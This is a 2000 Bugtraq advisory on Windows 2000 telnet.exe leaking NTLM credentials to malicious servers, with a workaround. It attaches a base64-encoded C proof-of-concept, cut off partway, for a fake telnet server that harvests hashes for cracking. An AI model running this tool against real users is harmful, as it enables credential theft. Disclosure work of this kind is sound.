[16752] in bugtraq
Win2k Telnet.exe malicious server vulnerability
daemon@ATHENA.MIT.EDU (monti)
Thu Sep 14 01:16:56 2000
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-1033401841-968876009=:26686"
Message-Id: <Pine.BSF.3.96.1000913140710.26686A-201000@mournblade>
Date: Wed, 13 Sep 2000 15:13:29 -0500
Reply-To: monti <monti@USHOST.COM>
From: monti <monti@USHOST.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--0-1033401841-968876009=:26686
Content-Type: TEXT/PLAIN; charset=US-ASCII
Microsoft was informed of this problem (with exploit) over a month ago. I
received some token responses right after emailing them, but have heard
nothing since. If they have released an advisory of their own yet, I have
not seen it. I informed them up-front that I would release a
full-disclosure advisory of my own in 3 weeks time. They have had much
more than that to take action.
Problem:
========
Windows 2000's telnet client 'telnet.exe' supports performing NTLM
authentication using the credentials of the logged in user. If it connects
to an NTLM enabled telnet server (i.e. a Win2k server with the MS provided
telnet service) it will automatically attempt to log in with the users
credientials without prompting them for any information.
The NTLM challenge/response protocol as others have shown, is vulnerable
to brute-force cracking. L0phtCrack, with it's "sniffed NT hash cracking"
capabilities is an excellent implementation.
This behavior is seen consistently in other Microsoft written clients. IE,
Netbios Workstation (i.e. windows itself over netbios), and probably
others have and/or do automatically authenticate the user with NTLM
(and sometimes other even worse schemes) without prompting them.
NTLM challenge/response is *NOT* an iron authentication scheme, MS! Stop
trusting it so much!
Vulnerability/Exploit Description:
==================================
In short, if you can get the user or his/her machine to telnet to you with
telnet.exe, you can get ahold of enough information to
perform a brute-force/dictionary crack on their password (and find our
their Domain if they are logged into one). Even if you arent going to
crack their password, you can get entirely too much information IMO.
During my tests I discovered that IE associates the telnet:// URL with the
vulnerable telnet.exe. This opens up several possible ways to force a user
into connecting to you with a malicious HTLM web page, email message, and
so on. I would speculate that it might also be possible to force this to
happen without user intervention with javascript/activeX/java or really
creative HTLM. I try really hard not to do HTLM/web-code anymore unless
it's really necessary so I didnt test this.
Also, since NTLM relies on the server "randomly generating" an 8-byte
challenge for the authentication, we can choose our own with the code
provided and use it to pre-compute a database of encrypted passwords to
avoid even having to crack them. Also attached is a really ugly bit of
code I hobbled together a while back that can be used to do this.
Please see the exploit for technical details. I hope the ntlm structures
and functions will be useful to others in the future on their own Windows
nt/2000 projects. I have used roughly the same routines for IIS/IE-ntlm
HTTP Auth code on Unix. Please note, this code will only work on intel or
other little-endian systems right now... I didnt get any architecture
dependent byte-order logic worked in yet.
Workaround/Fix:
===============
The NTLM functionality in telnet.exe is optional, but it is enabled by
default on all W2000 installations i've seen.
To turn of NTLM in telnet, just run 'telnet.exe' without arguments which
will get you into a cli for setting/unsetting variables and so on. Then
type 'unset NTLM'. This will disable all NTLM functionality in the client,
so... if for some really ill-advised reason you want or need this
function, you're out of luck unless Microsoft comes up with something
better.
Credits:
========
I should mention that I heard at DefCON that cDc/Newhackcity had
discovered and discussed this vulnerability during one of their
presentations that I missed. I did not colaborate with them on this and
had run across it myself before vegas, but Microsoft informed me that they
had also been contacted by cDc with the same bug.
I havent seen any material from them published yet though, so as far as I
know this is the first full public disclosure.
Other credits and thanks:
DMZ, Changeling, Brent, and Nate... thanks for your help testing and
playing with this in vegas.
Ronald Tschalar for his paper at:
http://www.innovation.ch/java/ntlm.html.
As you can see in my code, I definitely made use of some of his ideas.
Paul Ashton published an material based on this same stupid behavior in IE
3.0/4.0 back in 96/97 or so and his advisories helped get me thinking
about NTLM games to play in all the new protocols it's been implemented
in.
A copy of his advisory is at:
http://www.insecure.org/sploits/winnt.automatic.authentication.html
Author:
=======
Yeza (9/2000)
--0-1033401841-968876009=:26686
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ntlm_telnetd.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSF.3.96.1000913151329.26686B@mournblade>
Content-Description:
LyogTlRMTSB0ZWxuZXREIHYwLjgNCg0KICAgU25hcmZzIE5UTE0gY2hhbGxl
bmdlL3Jlc3BvbnNlIGJ5IGNvbnZpbmNpbmcgdzJrIHRlbG5ldCBjbGllbnQg
dG8NCiAgIGF1dG8tYXV0aGVudGljYXRlLiANCiAgIE91dHB1dHMgYXV0aC1k
YXRhIGluIExvcGh0Q3JhY2sgc25pZmYgZm9ybWF0IG9uIHN0ZG91dC4NCg0K
ICAgY29tcGlsZTogZ2NjIC1vIHcya3RlbGQgbnRsbV90ZWxuZXRkLmMNCiAg
IHJ1bjogLi93Mmt0ZWxkDQoNCiAgIFRoZW4gd2FpdCBmb3IgdzJrIHRvIHRl
bG5ldCB0byB5b3UuDQogICBmb3IgdGhlIGltcGF0aWVudCwgdGhlcmUgYXJl
IGFsd2F5cyB3YXlzIG9mIG1ha2luZyB3MmsgdGVsbmV0IQ0KDQogICBwcm9v
Zi1vZi1jb25jZXB0IHZlcnNpb24uIG1vcmUgZmVhdHVyZXMgdG8gYmUgYWRk
ZWQuDQoNCiAgIGJ5IHllemEgKDgvMjAwMCkNCiovDQoNCiNpbmNsdWRlIDxz
dGRpby5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy90
aW1lLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lz
L3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCg0KI2RlZmlu
ZSBMSVNURU5fUE9SVCAyMw0KI2RlZmluZSBMSVNURU5BRERSICIwLjAuMC4w
Ig0KI2RlZmluZSBWRVJCT1NFIDAgICAgICAgICAgICAvLyAxIGZvciB2ZXJi
b3NlDQojZGVmaW5lIENIQUxMRU5HRSAiXHhkZVx4YWRceGJlXHhlZlx4ZGVc
eGFkXHhiZVx4ZWYiDQoNCiNkZWZpbmUgTUFYQlVGIDIwNDgNCg0KLyogQmVs
b3cgYXJlIGhhcmRjb2RlZCB0ZWxuZXQgbmVnb3RpYXRpb24gdmFsdWVzLg0K
ICAgVGhlc2UgYXJlIGJhc2VkIG9uIHBhY2tldCBzbmlmZnMgYW5kIGFzIGxp
dHRsZSBkZWNvZGluZyBhcyBwb3NzaWJsZS4NCiAgIEknbSBsYXp5IGFuZCB0
aGlzIGlzbnQgcmVhbGx5IGEgdGVsbmV0IHNlcnZlciBzbyB3aHkgbXVjayB3
aXRoIHRlbG5ldC5oPw0KKi8NCg0Kc3RhdGljIHVuc2lnbmVkIGNoYXIgKnNy
dl9uZWcxID0NCiAgIlx4ZmZceGZkXHgyNVx4ZmZceGZiXHgwMVx4ZmZceGZk
XHgwM1x4ZmZceGZkXHgxZlx4ZmZceGZkXHgwMFx4ZmZceGZiXHgwMCI7DQpz
dGF0aWMgdW5zaWduZWQgaW50IHNydl9uZWcxX3N6ID0gMTg7DQoNCnN0YXRp
YyB1bnNpZ25lZCBjaGFyICpzcnZfbmVnMiA9IA0KICAiXHhmZlx4ZmFceDI1
XHgwMVx4MGZceDAwXHhmZlx4ZjAiOw0Kc3RhdGljIHVuc2lnbmVkIGludCBz
cnZfbmVnMl9zeiA9IDg7DQoNCg0KLyogQmVsb3cgaXMgdGhlIGhhcmRjb2Rl
ZCBOVExNIGNoYWxsZW5nZS4NCiAgIENoYW5nZSB0aGUgOC1ieXRlIGNoYWxs
ZW5nZSBhYm92ZSBpZiB5b3UgZG9udCBsaWtlIHRoZSBzbWVsbCBvZiAnZGVh
ZGJlZWYnDQogICBDaGFuZ2UgdGhlIGhvc3RuYW1lIGlmIGRlc2lyZWQgLS0g
YnV0IGtlZXAgdGFicyBvbiBob3N0bmFtZSBsZW4sIHRlbG5ldCBoZHINCiAg
IHNpemUgYW5kICdzcnZfZmFrZV9OVExNX2NoYWxsZW5nZV9zeicgaWYgeW91
IGRvLg0KKi8NCnN0YXRpYyB1bnNpZ25lZCBjaGFyICpzcnZfZmFrZV9OVExN
X2NoYWxsZW5nZSA9DQogICJceGZmXHhmYVx4MjVceDAyXHgwZlx4MDBceDAx
IiAvKiB0ZWxuZXQgYXV0aCBoZWFkICAgICAgICAgICAgICAgICAgICAgICAg
Ki8NCiAgIlx4MzhceDAwXHgwMFx4MDAiICAgICAgICAgICAgIC8qIFNpemUg
b2YgY2hhbGxlbmdlIHRva2VuICAgICAgICAgICAgICAgICAqLw0KICAiXHgw
Mlx4MDBceDAwXHgwMCIgICAgICAgICAgICAgLyogTCBpbnQgPSAyID91bmtu
b3duPyAgICAgICAgICAgICAgICAgICAgICovDQogICJOVExNU1NQXHgwMCIg
ICAgICAgICAgICAgICAgICAgICAgLyogVG9rZW4gaGVhZGVyICAgICAgICAg
ICAgU1RBUlQgVE9LRU4gKi8NCiAgIlx4MDJceDAwXHgwMFx4MDAiICAgICAg
ICAgICAgICAgICAvKiBOVExNIHNlcXVlbmNlID0gMiAgICAgICAgICAgICAg
ICAgICAqLw0KICAiXHgwOFx4MDBceDA4XHgwMCIgICAgICAgICAgICAgICAg
IC8qIGhvc3RuYW1lIGxlbiAodHdpY2UpICAgICAgICAgICAgICAgICovDQog
ICJceDMwXHgwMFx4MDBceDAwIiAgICAgICAgICAgICAgICAgLyogaG9zdG5h
bWUgb2Zmc2V0ICAgICAgICAgICAgICAgICAgICAgKi8NCiAgIlx4MDVceDgy
XHgwMlx4MDAiICAgICAgICAgICAgICAgICAvKiA0LWJ5dGUgZmxhZ3MgICAg
ICAgICAgICAgICAgICAgICAgICAqLw0KICBDSEFMTEVOR0UgICAgICAgICAg
ICAgICAgICAgICAgICAgIC8qIDgtYnl0ZSBjaGFsbGVuZ2UgICAgICAgICAg
ICAgICAgICAgICovDQogICJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAw
XHgwMCIgLyogdW51c2VkICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
Ki8NCiAgIlx4MDBceDAwXHgwMFx4MDAiICAgICAgICAgICAgICAgICAvKiB1
bnVzZWQgbGVuICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KICAiXHgz
OFx4MDBceDAwXHgwMCIgICAgICAgICAgICAgICAgIC8qIHVudXNlZCBvZmZz
ZXQgICAgICAgICAgICAgICAgICAgICAgICovDQogICJEXHgwME9ceDAwSVx4
MDBUXHgwMCIgICAgICAgICAgICAgLyogaG9zdG5hbWUgIkRPSVQiKHUtY29k
ZSkgICBFTkQgVE9LRU4gKi8NCiAgIlx4ZmZceGYwIiAgICAgICAgICAgICAg
ICAgICAgIC8qIHRlbG5ldCBhdXRoIHRhaWwgICAgICAgICAgICAgICAgICAg
ICAgICAqLw0KICA7DQpzdGF0aWMgdW5zaWduZWQgaW50IHNydl9mYWtlX05U
TE1fY2hhbGxlbmdlX3N6ID0gNzM7DQoNCg0KaW50IHByaW50aGV4ZHVtcCAo
dW5zaWduZWQgY2hhciAqYnVmLCBpbnQgbGVuKSANCnsNCiAgICAgaW50IGk7
DQogICAgIGZvcihpPTA7IGkgPCBsZW47IGkrKykgew0KICAgICAgICAgZnBy
aW50ZiAoc3RkZXJyLCAiJTAyeCAiLCBidWZbaV0pOw0KICAgICB9DQogICAg
IGZwcmludGYgKHN0ZGVyciwgIlxuIik7DQogICAgIHJldHVybiAoaSk7DQp9
DQoNCnZvaWQgDQpjcGhleCAodW5zaWduZWQgY2hhciAqZGVzdCwgdW5zaWdu
ZWQgY2hhciAqc3JjLCB1bnNpZ25lZCBpbnQgZGxlbikNCnsNCiAgICBpbnQg
aTsNCiAgICBmb3IgKGk9MDsgaSA8IGRsZW47IGkrPTIpDQogICAgew0KICAg
ICAgICBzbnByaW50ZiAoKGNoYXIgKikoZGVzdCtpKSwgMywiJTAyeCIsIHNy
Y1soaS8yKV0pOyANCiAgICB9DQoNCn0NCg0Kdm9pZCBkcm9wY29ubiAoaW50
IHNvY2spIHsNCiAgICAgY2xvc2Uoc29jayk7DQogICAgIGZwcmludGYoc3Rk
ZXJyLCAiXG5Db25uZWN0aW9uIENsb3NlZFxuIik7DQp9DQoNCi8qIFN0cnVj
dHVyZSB0byBob2xkIHNuYXJmZWQgYXV0aC4gaW5mb3JtYXRpb24gKi8NCnN0
cnVjdCBjbGllbnRfaW5mbyB7DQogICAgdW5zaWduZWQgY2hhciB1c2VyWzEy
OF07DQogICAgdW5zaWduZWQgY2hhciBkb21bMTI4XTsNCiAgICB1bnNpZ25l
ZCBjaGFyIGhvc3RbMTI4XTsNCiAgICB1bnNpZ25lZCBjaGFyIGlwYWRkclsx
Nl07DQogICAgdW5zaWduZWQgY2hhciBjaGFsWzE3XTsNCiAgICB1bnNpZ25l
ZCBjaGFyIGxtaFs0OV07DQogICAgdW5zaWduZWQgY2hhciBudGhbNDldOw0K
fSBjbGlfaW5mbzsNCg0KDQovKiBOVExNIFRPS0VOIEhFQURFUlMgKi8NCg0K
LyogUmVxdWVzdCB0b2tlbiBoZWFkZXIgc3RydWN0dXJlICAqLw0KLyogMzIg
Ynl0ZXMgZm9yIHRoaXMgaGVhZGVyICovDQpzdHJ1Y3QgcmVxdG9rZW4NCnsN
CiAgICB1bnNpZ25lZCBjaGFyICAgICAgIHByb3RvY29sWzhdOyAgICAgLy8g
Ik5UTE1TU1BcMCINCiAgICB1bnNpZ25lZCBpbnQgICAgICAgIHR5cGU7ICAg
ICAgICAgICAgLy8gMQ0KICAgIHVuc2lnbmVkIGNoYXIgICAgICAgZmxhZ3Nb
NF07ICAgICAgICAvLyBOVExNIGZsYWdzDQogICAgdW5zaWduZWQgc2hvcnQg
ICAgICBkbGVuLGRsZW4yOyAgICAgIC8vIERvbWFpbiBsZW5ndGgNCiAgICB1
bnNpZ25lZCBpbnQgICAgICAgIGRwb3M7ICAgICAgICAgICAgLy8gRG9tYWlu
IHBvc2l0aW9uDQogICAgdW5zaWduZWQgc2hvcnQgICAgICBobGVuLGhsZW4y
OyAgICAgIC8vIEhvc3RuYW1lIGxlbmd0aA0KICAgIHVuc2lnbmVkIGludCAg
ICAgICAgaHBvczsgICAgICAgICAgICAvLyBIb3N0bmFtZSBwb3NpdGlvbg0K
ICAgIC8vICAgICAgICAgIHVuaWNvZGUgZG9tYWluICAgKHZhcmlhYmxlIGxl
bmd0aCkNCiAgICAvLyAgICAgICAgICB1bmljb2RlIGhvc3RuYW1lICh2YXJp
YWJsZSBsZW5ndGgpDQp9Ow0KDQovKiBDaGFsbGVuZ2UgdG9rZW4gaGVhZGVy
IHN0cnVjdHVyZSAqLw0KLyogNDggYnl0ZXMgZm9yIHRoaXMgaGVhZGVyICAq
Lw0Kc3RydWN0IGNoYWx0b2tlbg0Kew0KICAgIHVuc2lnbmVkIGNoYXIgICAg
ICAgcHJvdG9jb2xbOF07ICAgICAvLyAiTlRMTVNTUFwwIg0KICAgIHVuc2ln
bmVkIGludCAgICAgICAgdHlwZTsgICAgICAgICAgICAvLyAyDQogICAgdW5z
aWduZWQgc2hvcnQgICAgICBobGVuLGhsZW4yOyAgICAgIC8vIEhvc3RuYW1l
IGxlbmd0aA0KICAgIHVuc2lnbmVkIGludCAgICAgICAgaHBvczsgICAgICAg
ICAgICAvLyBIb3N0bmFtZSBwb3NpdGlvbg0KICAgIHVuc2lnbmVkIGNoYXIg
ICAgICAgZmxhZ3NbNF07ICAgICAgICAvLyBOVExNIGZsYWdzDQogICAgdW5z
aWduZWQgY2hhciAgICAgICBjaGFsWzhdOyAgICAgICAgIC8vIDgtYnl0ZSBO
VExNIENoYWxsZW5nZQ0KICAgIHVuc2lnbmVkIHNob3J0ICAgICAgbmwsbmwy
OyAgICAgICAgICAvLyB1bnVzZWQgbGVuZ3RoDQogICAgdW5zaWduZWQgaW50
ICAgICAgICBucDsgICAgICAgICAgICAgIC8vIHVudXNlZCBwb3NpdGlvbg0K
ICAgIHVuc2lnbmVkIHNob3J0ICAgICAgdGwsdGwyOyAgICAgICAgICAvLyB1
bmtub3duLCBwb3NzaWJseSB1bnVzZWQNCiAgICB1bnNpZ25lZCBpbnQgICAg
ICAgIHRsZW47ICAgICAgICAgICAgLy8gVG90YWwgbGVuZ3RoIG9mIHRva2Vu
Lg0KICAgIC8vICAgICAgICAgIHVuaWNvZGUgaG9zdG5hbWUgKHZhcmlhYmxl
IGxlbmd0aCkNCiAgICAvLyAgICAgICAgICB1bnVzZWQgc3RyaW5nLi4uIGRv
ZXMgYXBwZWFyIHRvIGJlIHVzZWQgYnkgdzJrIHRlbG5ldGQNCn07DQoNCg0K
LyogUmVzcG9uc2UgdG9rZW4gaGVhZGVyIHN0cnVjdHVyZSAqLw0KLyogNjQg
Ynl0ZXMgZm9yIHRoaXMgaGVhZGVyICovDQpzdHJ1Y3QgcmVzcHRva2VuDQp7
DQogICAgdW5zaWduZWQgY2hhciAgICAgICBwcm90b2NvbFs4XTsgICAgIC8v
ICJOVExNU1NQXDAiDQogICAgdW5zaWduZWQgaW50ICAgICAgICB0eXBlOyAg
ICAgICAgICAgIC8vIDMNCiAgICB1bnNpZ25lZCBzaG9ydCAgICAgIGxtcmxl
bixsbXJsZW4yOyAgLy8gTE0gaGFzaCByZXNwb25zZSBsZW5ndGggKDI0IGFs
d2F5cykNCiAgICB1bnNpZ25lZCBpbnQgICAgICAgIGxtcnBvczsgICAgICAg
ICAgLy8gTE0gaGFzaCByZXNwb25zZSBwb3NpdGlvbg0KICAgIHVuc2lnbmVk
IHNob3J0ICAgICAgbnRybGVuLG50cmxlbjI7ICAvLyBOVCBoYXNoIHJlc3Bv
bnNlIGxlbmd0aCAoMjQgYWx3YXlzKQ0KICAgIHVuc2lnbmVkIGludCAgICAg
ICAgbnRycG9zOyAgICAgICAgICAvLyBOVCBoYXNoIHJlc3BvbnNlIHBvc2l0
aW9uDQogICAgdW5zaWduZWQgc2hvcnQgICAgICBkbGVuLGRsZW4yOyAgICAg
IC8vIERvbWFpbiBsZW5ndGgNCiAgICB1bnNpZ25lZCBpbnQgICAgICAgIGRw
b3M7ICAgICAgICAgICAgLy8gRG9tYWluIHBvc2l0aW9uDQogICAgdW5zaWdu
ZWQgc2hvcnQgICAgICB1bGVuLHVsZW4yOyAgICAgIC8vIFVzZXJuYW1lIGxl
bmd0aA0KICAgIHVuc2lnbmVkIGludCAgICAgICAgdXBvczsgICAgICAgICAg
ICAvLyBVc2VybmFtZSBwb3NpdGlvbg0KICAgIHVuc2lnbmVkIHNob3J0ICAg
ICAgaGxlbixobGVuMjsgICAgICAvLyBIb3N0bmFtZSBsZW5ndGgNCiAgICB1
bnNpZ25lZCBpbnQgICAgICAgIGhwb3M7ICAgICAgICAgICAgLy8gSG9zdG5h
bWUgcG9zaXRpb24NCiAgICB1bnNpZ25lZCBzaG9ydCAgICAgIHRsLHRsMjsg
ICAgICAgICAgLy8gdW5rbm93biwgcHJlc3VtYWJseSB1bnVzZWQNCiAgICB1
bnNpZ25lZCBpbnQgICAgICAgIHRsZW47ICAgICAgICAgICAgLy8gVG90YWwg
bGVuZ3RoIG9mIHRva2VuDQogICAgdW5zaWduZWQgY2hhciAgICAgICBmbGFn
c1s0XTsgICAgICAgIC8vIE5UTE0gZmxhZ3MNCiAgICAvLyAgICAgICAgICB1
bmljb2RlIGRvbWFpbiAgICh2YXJpYWJsZSBsZW5ndGgpDQogICAgLy8gICAg
ICAgICAgdW5pY29kZSB1c2VyICAgICAodmFyaWFibGUgbGVuZ3RoKQ0KICAg
IC8vICAgICAgICAgIHVuaWNvZGUgaG9zdG5hbWUgKHZhcmlhYmxlIGxlbmd0
aCkNCiAgICAvLyAgICAgICAgICBsbSBoYXNoIHJlc3BvbnNlICgyNC1ieXRl
cykNCiAgICAvLyAgICAgICAgICBudCBoYXNoIHJlc3BvbnNlICgyNC1ieXRl
cykNCg0KfTsNCg0KDQovKiBTdHVwaWQgbGl0dGxlIFVuaWNvZGUgaGVscGVy
ICovDQppbnQNCmxhbWVfdWNvZGUodW5zaWduZWQgY2hhciAqZHN0LCB1bnNp
Z25lZCBjaGFyICpzcmMsIGludCBsZW4pDQp7DQogICAgaW50IGk7DQogICAg
Zm9yKGk9MDtpPGxlbjtpKyspew0KICAgICAgICAqKGRzdCsrKSA9IHNyY1tp
XTsNCiAgICAgICAgKihkc3QrKykgPSAnXDAnOw0KICAgIH0NCiAgICByZXR1
cm4gKGkpOw0KfQ0KDQovKiBTdHVwaWQgbGl0dGxlIGRlLVVuaWNvZGUgaGVs
cGVyICovDQppbnQNCmxhbWVfZGV1Y29kZSh1bnNpZ25lZCBjaGFyICpkc3Qs
IHVuc2lnbmVkIGNoYXIgKnNyYywgaW50IGxlbiwgaW50IG1heGxlbikNCnsN
CiAgICBpbnQgaTsNCg0KICAgIGxlbi0tOw0KDQogICAgaWYgKG1heGxlbiA8
IChsZW4pKSBsZW49bWF4bGVuOw0KDQogICAgZm9yKGk9MDtpPGxlbjtpKysp
ew0KICAgICAgICBpZiAoc3JjW2ldICE9ICdcMCcpDQogICAgICAgICAgICAq
KGRzdCsrKSA9IHNyY1tpXTsNCiAgICB9DQogICAgKihkc3QrKykgPSAnXDAn
OyAvKiBUaHJvdyBpbiAtMS0gbnVsbC4uLiAhQCMkQVQgVEhFIEVORCFAIyQg
Ki8NCiAgICByZXR1cm4oc3RybGVuKGRzdCkpOw0KfSAgICANCg0KDQp2b2lk
DQpnZXRfcmVzcHRva2VuKHVuc2lnbmVkIGNoYXIgKnNyYywgdW5zaWduZWQg
aW50IGxlbikNCnsNCiAgICBzdHJ1Y3QgcmVzcHRva2VuICpycCA9IChzdHJ1
Y3QgcmVzcHRva2VuICopIHNyYzsNCg0KICAgIGxhbWVfZGV1Y29kZShjbGlf
aW5mby51c2VyLCAodW5zaWduZWQgY2hhciAqKSBycCtycC0+dXBvcywgDQog
ICAgICAgICAgICAgICAgIHJwLT51bGVuLCBzaXplb2YoY2xpX2luZm8udXNl
cikpOw0KICAgIGxhbWVfZGV1Y29kZShjbGlfaW5mby5ob3N0LCAodW5zaWdu
ZWQgY2hhciAqKSBycCtycC0+aHBvcywgDQogICAgICAgICAgICAgICAgIHJw
LT5obGVuLCBzaXplb2YoY2xpX2luZm8uaG9zdCkpOw0KICAgIGxhbWVfZGV1
Y29kZShjbGlfaW5mby5kb20sICh1bnNpZ25lZCBjaGFyICopIHJwK3JwLT5k
cG9zLCANCiAgICAgICAgICAgICAgICAgcnAtPmRsZW4sIHNpemVvZihjbGlf
aW5mby5kb20pKTsNCiAgICBjcGhleChjbGlfaW5mby5sbWgsICh1bnNpZ25l
ZCBjaGFyKikgcnArcnAtPmxtcnBvcywgNDgpOw0KICAgIGNwaGV4KGNsaV9p
bmZvLm50aCwgKHVuc2lnbmVkIGNoYXIqKSBycCtycC0+bnRycG9zLCA0OCk7
DQoNCn0NCg0KLyogZ2V0dG9rZW4NCg0KICAgQ2hlY2sgJ2xlbicgYnl0ZXMg
ZnJvbSAnc3JjJyBhcyBhbiBOVExNIHRva2VuIA0KICAgZm9yayBnZXRfcmVz
cHRva2VuIGRlcGVuZGluZyBvbiB0eXBlLg0KICAgUmV0dXJucyAwIGlmIGV2
ZXJ5dGhpbmcgbG9va3MgZ29vZC4NCiovDQppbnQNCmdldHRva2VuICh1bnNp
Z25lZCBjaGFyICpzcmMsIHVuc2lnbmVkIGludCBsZW4pDQp7DQogICAgc3Ry
dWN0IGNoYWx0b2tlbiAqc3JjdGsgPSAoc3RydWN0IGNoYWx0b2tlbiAqKSBz
cmM7DQogICAgdW5zaWduZWQgaW50IHR5cGUgPSAqKHNyYys4KTsNCg0KICAg
IC8qIGNoZWNrIHByb3RvY29sICovDQogICAgaWYgKChzdHJuY21wKHNyYywg
Ik5UTE1TU1BcMCIsIDgpKSB8fCAodHlwZSA+IDMpKQ0KICAgICAgICAgcmV0
dXJuICgtMSk7DQoNCiAgICBpZih0eXBlID09IDEpIA0KICAgIHsNCiAgICAg
ICAgZnByaW50ZihzdGRlcnIsICJHb3QgTlRMTSByZXF1ZXN0IHRva2VuXG4i
KTsNCiAgICAgICAgcmV0dXJuKDApOw0KICAgIH0NCiAgICBlbHNlIGlmKHR5
cGUgPT0gMykNCiAgICB7DQogICAgICAgIGlmKGxlbiA+IChzaXplb2Yoc3Ry
dWN0IHJlc3B0b2tlbikpICsgNDgpIHsNCiAgICAgICAgICAgIGZwcmludGYo
c3RkZXJyLCAiR290IE5UTE0gcmVzcG9uc2UgdG9rZW5cbiIpOw0KICAgICAg
ICAgICAgZ2V0X3Jlc3B0b2tlbihzcmMsbGVuKTsNCiAgICAgICAgfSBlbHNl
IHsNCiAgICAgICAgICAgIHJldHVybigtMSk7DQogICAgICAgIH0NCg0KICAg
IH0gZWxzZSB7DQogICAgICAgIGZwcmludGYoc3RkZXJyLCAiVHlwZSAyIG5v
dCBoYW5kbGVkXG4iKTsNCiAgICAgICAgcmV0dXJuKC0xKTsNCiAgICB9DQoN
CiAgICByZXR1cm4oMCk7DQp9DQoNCnZvaWQNCnVzYWdlKHVuc2lnbmVkIGNo
YXIgKnByb2duYW1lKSB7DQogICAgIGZwcmludGYoc3RkZXJyLCANCiAgICAg
ICAgICAgICAiVXNhZ2U6ICVzIFtvcHRpb25zXVxuIiwgcHJvZ25hbWUpOw0K
ICAgICBmcHJpbnRmKHN0ZGVyciwNCiAgICAgICAgICAgICAiICAgICAgICAg
ICAtdiAgICAgICAgdmVyYm9zZVxuIg0KICAgICAgICAgICAgICIgICAgICAg
ICAgIC1sIHBvcnQgICBsaXN0ZW4gb24gJ3BvcnQnXG4iDQogICAgICAgICAg
ICAgIiAgICAgICAgICAgLWggICAgICAgIGhlbHBcbiIpOw0KDQogICAgIGV4
aXQoMSk7DQp9DQoNCmludA0KbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3Yp
DQp7DQogICAgIHN0cnVjdCBzb2NrYWRkcl9pbiBzZXJ2ZXIsIGNsaWVudDsN
CiAgICAgdW5zaWduZWQgaW50IGxzb2NrLCBvOyANCiAgICAgdW5zaWduZWQg
aW50IHBvcnQgPSBMSVNURU5fUE9SVDsNCiAgICAgdW5zaWduZWQgaW50IHZl
cmJvc2UgPSBWRVJCT1NFOw0KICAgICBzc2l6ZV90IHJsZW4sIGN0a2xlbjsN
CiAgICAgdW5zaWduZWQgY2hhciByYnVmW01BWEJVRl07DQogICAgIHVuc2ln
bmVkIGNoYXIgbnRsbV9jaGFsbGVuZ2VbOF0gPSBDSEFMTEVOR0U7DQoNCiAg
ICAgY3BoZXgoY2xpX2luZm8uY2hhbCwgbnRsbV9jaGFsbGVuZ2UsIDE2KTsN
Cg0KICAgICBmcHJpbnRmKHN0ZGVyciwiWyBGYWtlIE5UTE0gVGVsbmV0IERh
ZW1vbiAtIGJ5IHllemEgXVxuIik7DQoNCiAgICAgd2hpbGUgKChvID0gZ2V0
b3B0KGFyZ2MsIGFyZ3YsICJ2bDpoIikpICE9IC0xKSB7DQogICAgICAgICBz
d2l0Y2gobykgew0KICAgICAgICAgICBjYXNlICd2JzoNCiAgICAgICAgICAg
ICAgICAgICArK3ZlcmJvc2U7DQogICAgICAgICAgICAgICAgICAgYnJlYWs7
DQogICAgICAgICAgIGNhc2UgJ2wnOg0KICAgICAgICAgICAgICAgICAgIGlm
KG9wdGFyZykgew0KICAgICAgICAgICAgICAgICAgICAgICBwb3J0ID0gYXRv
aShvcHRhcmcpOw0KICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAg
ICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAg
ICAgICB1c2FnZShhcmd2WzBdKTsNCiAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgIGNhc2UgJ2gnOg0KICAgICAgICAgICAgICAgICAgIHVzYWdl
KGFyZ3ZbMF0pOw0KICAgICAgICAgfQ0KICAgICB9DQoNCg0KICAgICBsc29j
ayA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1Ap
Ow0KICAgICBpZiAobHNvY2sgPCAwKSB7DQogICAgICAgICBmcHJpbnRmKHN0
ZGVyciwgIkNhbm5vdCBjcmVhdGUgbGlzdGVuaW5nIHNvY2tldDogJW1cbiIp
Ow0KICAgICAgICAgZXhpdCgxKTsNCiAgICAgfQ0KDQogICAgIHNlcnZlci5z
aW5fZmFtaWx5ID0gQUZfSU5FVDsNCiAgICAgc2VydmVyLnNpbl9hZGRyLnNf
YWRkciA9IGluZXRfYWRkcihMSVNURU5BRERSKTsNCiAgICAgc2VydmVyLnNp
bl9wb3J0ID0gaHRvbnMocG9ydCk7DQoNCiAgICAgaWYgKGJpbmQobHNvY2ss
IChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNlcnZlciwgc2l6ZW9mKHNlcnZlcikp
IDwgMCkgew0KICAgICAgICAgZnByaW50ZihzdGRlcnIsICJDYW5ub3QgYmlu
ZCBzb2NrZXQ6ICVtXG4iKTsNCiAgICAgICAgIGNsb3NlKGxzb2NrKTsNCiAg
ICAgICAgIGV4aXQoMSk7DQogICAgIH0NCg0KICAgICBsaXN0ZW4obHNvY2ss
IDIwMCk7DQoNCiAgICAgZnByaW50ZihzdGRlcnIsICJMaXN0ZW5pbmcgb24g
cG9ydCAlZFxuIiwgbnRvaHMoc2VydmVyLnNpbl9wb3J0KSk7DQogICAgIGZw
cmludGYoc3RkZXJyLCAiQXdhaXRpbmcgY29ubmVjdGlvbnNcblxuIik7DQoN
CiAgICAgd2hpbGUgKDEpIHsNCiAgICAgICAgIGludCBjc29jaywgY2xfYWRk
cmxlbjsNCiAgICAgICAgIHVuc2lnbmVkIGludCByZXFsZW4sIHJlc3BsZW47
DQoNCiAgICAgICAgIGlmKChjc29jayA9IGFjY2VwdChsc29jaywgMCwgMCkp
